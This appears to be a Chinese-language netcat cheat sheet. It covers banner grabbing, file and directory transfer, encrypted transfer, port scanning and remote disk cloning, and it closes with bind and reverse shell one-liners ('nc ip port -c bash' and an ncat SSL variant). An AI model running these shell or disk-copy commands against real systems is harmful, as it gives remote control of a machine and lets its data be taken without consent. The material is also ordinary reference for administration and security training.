Netcat 网络瑞士军刀

banner信息 或 与服务器指定端口通信

nc  -nv  ip  port

-n  numeric-only ip address  (not dns)

-v  verbose  (use twice for more verbose)

例如:  nc     -nv    202.116.2.224  80    也可以利用nc进行 smtp(25) pop3(110) 连接

电子取证

nc -l -p port > sth.txt     等待连接端

ls -alh | nc -nv ip  port  -q 1  连接客户端

-l   listen mode  作为服务端监听 等待连接

-p  port (0~65535) 指定端口去监听连接

-q  end of file stdio  wait 1 second  信息传送完成时,1秒之后结束


文件传输

nc -l -p port > xxx   # xxx代表接收的文件

nc -nv ip port < xxx -q 1  #xxx代表要发送的文件,传递结束1秒后,断开连接

或者

nc -l -p port -q 1 < xxx  #代表发送的文件

nc -nv ip port >xxx  #代表接收的文件

-q  参数永远在发送端  


传输目录

tar  -cvf - music/ |  nc -l -p port -q 1

nc -nv ip port | tar -xvf -

加密传文件

nc -l -p port | mcrypt --flush -Fbqd -a rijndael-256 -m ecb > xxx

mcrypt --flush -Fbq -a rijndael-256 -m ecb < xxx | nc -nv ip port -q 1

nc端口扫描

nc  -nvz ip port1-port2

nc -nvzu ip port1-port2


nc 远程克隆磁盘

nc -l -p port | dd of=/dev/sda

dd if=/dev/sda | nc -nv ip port -q 1

远程电子取证,可以将目标服务器硬盘远程复制,或者内存


远程控制

正向

nc  -l -p port -c bash

nc ip port 

反向

nc -l -p port

nc ip port -c bash

注 windows用户把bash改成cmd

nc缺乏加密和身份验证的功能

ncat包含于nmap工具包中

ncat -c bash --allow ip -nvl port --ssl

ncat -nv ip port --ssl


不同系统/平台的nc参数功能不尽相同

你可能感兴趣的:(Netcat 网络瑞士军刀)